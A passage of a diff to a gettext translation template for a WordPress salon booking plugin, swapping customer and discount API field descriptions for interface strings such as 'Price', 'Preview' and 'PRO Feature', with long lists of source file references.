build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:652, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:768, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:613, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:768, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:652, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:768, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:652, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:768\n-msgid \"The first name for the resource.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:101\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:101\n+msgid \"PNG, JPG (max. 2MB)\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FCustomers_Controller.php:662, src\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:778, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:662, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:778, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:662, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:778, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:623, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:778, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:662, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:778, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:662, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:778\n-msgid \"The last name for the resource.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_tools_import_matching.php:39\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_tools_import_matching.php:39\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_tools_import_matching.php:39\n+msgid \"Preview\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FCustomers_Controller.php:672, src\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:788, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:672, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:788, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:672, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:788, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:633, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:788, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:672, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:788, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:672, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:788\n-msgid \"The email for the resource.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_booking_calendar\u002Fcalendar_content.php:55\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_booking_calendar\u002Fcalendar_content.php:55\n+msgid \"Previous\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FCustomers_Controller.php:681, src\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:797, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:681, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:797, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:681, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:797, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:642, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:797, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:681, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:797, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:681, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:797\n-msgid \"The phone for the resource.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsms\u002Fremind.php:61\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_booking_services.php:48\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fservice.php:20\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fservice.php:465\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table.php:14\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:41\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:56\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:148\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsms\u002Fremind.php:61\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_booking_services.php:48\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:20\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:465\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table.php:14\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:41\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:56\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:148\n+msgid \"Price\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FCustomers_Controller.php:690, src\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:806, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:690, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:806, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:690, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:806, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:651, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:806, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:690, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:806, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:690, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:806\n-msgid \"The address for the resource.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments.php:7\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments.php:54\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:14\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:240\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments.php:7\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments.php:54\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:14\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:240\n+msgid \"Prices visibility\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FCustomers_Controller.php:699, src\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:815, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:699, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:815, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:699, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:815, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:660, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:815, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:699, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:815, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:699, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:815\n-msgid \"The note for the resource.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_checkout.php:281\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:281\n+msgid \"Primary service\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FCustomers_Controller.php:708, src\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:824, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:708, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:824, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:708, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:824, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:669, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:824, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:708, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:824, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:708, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:824\n-msgid \"The bookings ids for the resource.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fonboarding.php:222\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fonboarding.php:222\n+msgid \"Priority support\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:204\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:289\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:357\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:478\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:498\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:540\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:204\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:289\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:357\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:478\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:498\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:540\n+msgid \"PRO Feature\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FCustomers_Controller.php:719, src\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:835, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:719, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:835, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:719, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:835, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:680, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:835, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:719, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:835, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:719, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:835\n-msgid \"The total amount of reservations.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:119\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:119\n+msgid \"PRO feature\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FCustomers_Controller.php:1220, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:1220, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:1220, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:1220, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:1220\n-msgid \"Customer not found\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FPage.php:275\n+msgid \"Product Name\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:367, src\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:386, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:367, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:386, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:367, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:386, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:367, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:386, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:367, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:386, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:367, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:386\n-msgid \"The amount type for the resource.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:39\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:39\n+msgid \"Profile\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:384, src\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:403, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:384, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:403, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:384, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:403, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:384, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:403, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:384, 